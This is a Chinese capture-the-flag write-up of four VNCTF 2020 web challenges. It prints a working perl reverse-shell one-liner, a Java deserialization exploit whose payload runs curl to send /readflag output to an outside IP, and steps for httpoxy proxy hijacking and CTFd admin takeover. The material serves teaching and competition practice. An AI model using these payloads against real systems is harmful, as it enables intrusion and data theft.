给赵师傅递茶, AK 是不可能 AK 的
checkin 首先是签到题, 先看一下代码
from flask import Flask, requestimport osapp = Flask(__name__) flag_file = open("flag.txt" , "r" ) @app.route('/shell') def shell () : os.system("rm -f flag.txt" ) exec_cmd = request.args.get('c' ) os.system(exec_cmd) return "1" @app.route('/') def source () : return open("app.py" ,"r" ).read() if __name__ == "__main__" : app.run(host='0.0.0.0' )
首先可以明确, 在我们执行命令的时候这个flag.txt
已经被删了, 不存在什么条件竞争的
而我们观察一下程序的步骤
flag_file = open("flag.txt" , "r" ) .... os.system("rm -f flag.txt" )
第一步先打开了文件, 然后再对文件删除, 看到这个就想起了一个远古的知识点, 我也不记得是学什么看到的了
https://blog.csdn.net/wyzxg/article/details/12654639
当程序打开一个文件, 会获得程序的文件描述符, 而此时如果文件被删除, 只会删除文件的目录项, 不会清空文件的内容, 原来的进程依然可以通过描述符对文件进行读取, 也就是说, 文件还存在内存里, 而具体的位置在
下面用本地的例子举例
首先创建flag.txt
然后运行
之后我们访问shell
, 就可以看到文件已经被删除了
如何找到文件在内存中的位置呢, 利用lsof
其中第二列的3512
就是<pid>
在程序中打开
可以看到 3 就是我们需要的文件, 直接cat
即可
不过这里有两个问题, 首先是如何反弹 shell
在做题的时候发现 (使用内网的linux labs
), 在环境中执行
却不能监听到访问, 一度怀疑不在内网, 还重开了两次
(错失一血 hhh
这里歪个楼, 在出题人的环境配置不对的情况下, 我们可以通过
的方式来写入 app.py, 从而不用反弹 shell 也可以看到回显, 当然赵师傅没留下这个机会(x
上网搜了很多个反弹 shell 的 payload
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://zerokeeper.com/experience/a-variety-of-environmental-rebound-shell-method.html
最后找到一个能用的
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ip:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
然后成功返回 shell, 但是发现第二个问题, 上面没有lsof
, ps
也没有反应
进去
看了一下, 发现只有几个, 就直接遍历一下 hhhh
很快就能看到了
TimeTravel 代码很简洁, 很赵师傅
<?php error_reporting(0 ); require __DIR__ . '/vendor/autoload.php' ;use GuzzleHttp \Client ;highlight_file(__FILE__ ); if (isset ($_GET['flag' ])) { $client = new Client(); $response = $client->get('http://127.0.0.1:5000/api/eligible' ); $content = $response->getBody(); $data = json_decode($content, TRUE ); if ($data['success' ] === true ) { echo system('/readflag' ); } } if (isset ($_GET['file' ])) { highlight_file($_GET['file' ]); } if (isset ($_GET['phpinfo' ])) { phpinfo(); }
我们先看熟悉的部分, 下面可以看到有读文件和phpinfo
的地方, 我们就先看phpinfo
没有什么有意思的地方( 大概
然后我们就读文件吧, 这种程序的结构和 tp 很像, 我们首先读一下
可以明确的是, 程序代码这么少, 肯定是组件洞, 总不能一个highlight_file
就能 RCE 是吧 hhhh
但是不急, 继续读一读, 我很好奇中间的这个
http://127.0.0.1:5000/api/eligible
是什么, 这个怎么读呢, 我们知道 docker 一般会有个start.sh
, 经常会在根目录或者/tmp
或者~
, 试一下就会发现在根目录
然后就能看到程序的路径, 读一下
这里题目已经很明确了, 只要等到 2050 年就可以拿到 flag, 因此这里我就等了
(xxx
读完了源码我们去看看原来的那个组件的版本, 有没有什么漏洞
搜一下很快就会发现下面这些东西
https://httpoxy.org/
https://www.laruence.com/2016/07/19/3101.html
就是说这个程序会将请求头中的
注册为全局变量, 类似于
http_proxy=ip:port command
所以我们只需要劫持一下返回即可
在Linux labs
里面, 先建一个index.php
<?php $arr = array ("success" =>true ); header("Content-Type:application/json" ); echo json_encode($arr);
然后运行
有师傅后面问到, 这里提一下, 代理并不需要和原来的端口以及路径一致, 只需要给一个合适的返回就可以了, 而这个命令是启动 php 内置的一个 web 服务器, 如果文件名为index.php
我们可以通过
来访问, 如果是其他的命名则需要
http://ip:port/filename.php
这样来访问, 因此这里必须要设置为index.php
后面加上请求头访问即可
HappyCTFd 看到就猜是 CTFd 的漏洞了, 毕竟前段时间刚爆了一个
https://www.colabug.com/2020/0204/6940556/
大概就是说, 在忘记密码验证的时候, 会对用户名进行
的操作, 那么我们只需要注册一个
的账号, 然后忘记密码即可接管管理员的账号(需要使用内网邮件系统)
这个就不演示了, 登录后可以进去管理界面, 搭过 CTFd 的应该都知道, 他里面有一个
的功能, 会把所有的记录备份下来, 我们直接用它下载全部内容
就可以看到 flag 了
EasySpringMVC 是个 java 题, 人生第一个正经 java 题, 然而没做出来—
先看一下代码, 我们可以使用jd-gui
打开这个 war 包
看一眼web.xml
看不出啥有用的, 就去翻代码, 为了好看一点我复制出来在 vscode 看了
在
WEB-INF\classes\com\filters\ClientInfoFilter.java
可以看到有这段, 明显是一个反序列化构造, 可以伪造 cookie 变成管理员
编写 exp 如下
import java.io.*;import java.util.Base64;import com.tools.*;public class test { public static void main (String[] args) { Base64.Encoder encoder = Base64.getEncoder(); try { ClientInfo cinfo = new ClientInfo("admin" , "webmanager" , "CC79398F535DB34F13B667D3C079BF00" ); byte [] bytes = Tools.create(cinfo); String payload = encoder.encodeToString(bytes); System.out.println(payload); } catch (Exception e) { e.printStackTrace(); } } } class Tools implements Serializable { private static final long serialVersionUID = 1L ; public static Object parse (byte [] bytes) throws Exception { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes)); return ois.readObject(); } private String testCall; public static byte [] create(Object obj) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream outputStream = new ObjectOutputStream(bos); outputStream.writeObject(obj); return bos.toByteArray(); } private void readObject (ObjectInputStream in) throws IOException, ClassNotFoundException { Object obj = in.readObject(); (new ProcessBuilder((String[]) obj)).start(); } }
还需要把ClientInfo
类放在
com/tools/ClientInfo.java
把构造类的第三个参数设置为你的 SESSIONID 即可
运行后将输出的 base64 填到 cookie 就可以了
然后我们就能获得文件上传的机会, 但是问题就在这里, 我经过很多次尝试
发现只能上传在
目录下
其他的目录就会permission denied
而我们的调用是这样的
public class PictureController { @RequestMapping ({"/showpic.form" }) public String index (HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, String file) throws Exception { if (file == null ) file = "showpic.jsp" ; String[] attribute = file.split("\\." ); String suffix = attribute[attribute.length - 1 ]; if (!suffix.equals("jsp" )) { boolean isadmin = ((ClientInfo)httpServletRequest.getSession().getAttribute("cinfo" )).getName().equals("admin" ); if (!isadmin && (!suffix.equals("jpg" ) || !suffix.equals("gif" ))) { return "onlypic" ; } show(httpServletRequest, httpServletResponse, file); return "showpic" ; } StringBuilder stringBuilder = new StringBuilder(); for (int i = 0 ; i < attribute.length - 1 ; i++) { stringBuilder.append(attribute[i]); } String jspFile = stringBuilder.toString(); int unixSep = jspFile.lastIndexOf('/' ); int winSep = jspFile.lastIndexOf('\\' ); int pos = (winSep > unixSep) ? winSep : unixSep; jspFile = (pos != -1 ) ? jspFile.substring(pos + 1 ) : jspFile; if (jspFile.equals("" )) { jspFile = "showpic" ; } return jspFile; }
可以看到主要分两部分, 一部分是后缀名为jsp
StringBuilder stringBuilder = new StringBuilder(); for (int i = 0 ; i < attribute.length - 1 ; i++) { stringBuilder.append(attribute[i]); } String jspFile = stringBuilder.toString(); int unixSep = jspFile.lastIndexOf('/' );int winSep = jspFile.lastIndexOf('\\' );int pos = (winSep > unixSep) ? winSep : unixSep;jspFile = (pos != -1 ) ? jspFile.substring(pos + 1 ) : jspFile; if (jspFile.equals("" )) { jspFile = "showpic" ; } return jspFile;
搜了搜是来自一个挺官方的库, 没啥方法可以用, 这个jspFile
后面会经过
就会变成
很遗憾这个文件夹我们是没有能力上传的, 并且前面还有一个
String[] attribute = file.split("\\." ); String suffix = attribute[attribute.length - 1 ];
去掉所有的.
, 也不能目录穿越, 而如果后缀不是jsp
String[] attribute = file.split("\\." ); String suffix = attribute[attribute.length - 1 ]; if (!suffix.equals("jsp" )) { show(httpServletRequest, httpServletResponse, file); return "showpic" ; }
show 方法如下
private void show (HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, String filename) throws Exception { httpServletResponse.setContentType("image/jpeg" ); InputStream in = httpServletRequest.getServletContext().getResourceAsStream("/WEB-INF/resource/" + filename); if (in == null ) { in = new FileInputStream(filename); } ServletOutputStream servletOutputStream = httpServletResponse.getOutputStream(); byte [] b = new byte [1024 ]; while (in.read(b) != -1 ) { servletOutputStream.write(b); } in.close(); servletOutputStream.flush(); servletOutputStream.close(); }
首先第一个获取的地方
InputStream in = httpServletRequest.getServletContext().getResourceAsStream("/WEB-INF/resource/" + filename);
这个函数当参数是/
开始, 就不能穿越到更高的目录, 也就是最多在/WEB-INF/
同级, 包含不到/tmp
目录, 能用的只有下面的任意文件读了
in = new FileInputStream(filename);
但是这题是需要 RCE 的, 有个/readflag
这个题做了一天, 都没有进展, 尝试了很多后缀名, 但是都无法解析
AK 这辈子都不可能 AK 的
解题 临近结束的时候看到了洞 hhh
在 Tools 类的这里
其实就是个后门, 但是一直没注意到(x, 要利用这个函数的话, 我们需要反序列化一个Tools
类
然后问题就来了, 打到比赛结束一直没成功, 和@杨大树 以及@P3rh4ps 两位师傅交流了一下, 可以通过重写 writeObject 方法来实现
或者这里也可以直接写
道理都是一样的, 都是通过构造一个String[]
对象来传给ProcessBuilder
进行执行, 执行的部分则是将需要空格分隔的地方, 分隔成不同的字符串, 例如
/bin/sh -c "curl http://ip:port/`/readflag`" {"/bin/sh", "-c", "curl http://ip:port/`/readflag`"}
完整的 exp 如下
Tools.java package com.tools;import java.io.*;public class Tools implements Serializable { private static final long serialVersionUID = 1L ; public static Object parse (byte [] bytes) throws Exception { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes)); return ois.readObject(); } private String[] testcall={"/bin/sh" ,"-c" ,"curl http://174.0.218.211:2333/`/readflag`" }; public static byte [] create(Object obj) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream outputStream = new ObjectOutputStream(bos); outputStream.writeObject(obj); return bos.toByteArray(); } private void readObject (ObjectInputStream in) throws IOException, ClassNotFoundException { Object obj = in.readObject(); (new ProcessBuilder((String[]) obj)).start(); } private void writeObject (ObjectOutputStream out) throws IOException { String[] cmd = {"/bin/sh" ,"-c" ,"curl http://174.0.218.211:2333/`/readflag`" }; out.writeObject(cmd); } }
生成的部分
exp.java import java.io.*;import java.util.Base64;import com.tools.*;public class exp { public static void main (String[] args) { Base64.Encoder encoder = Base64.getEncoder(); try { Tools cinfo = new Tools(); byte [] bytes = Tools.create(cinfo); String payload = encoder.encodeToString(bytes); System.out.println(payload); } catch (Exception e) { e.printStackTrace(); } } }
重新下发了一个环境, 将生成的部分放到 cookie, 就可以接受 flag 了
或者将输出写到/tmp/
下, 然后通过任意文件读拿 flag 也可
再次感谢两位师傅的帮助和赵师傅的题目
作者: cjm00n 地址: https://cjm00n.top/CTF/vnctf-2020-writeup.html 版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。
评论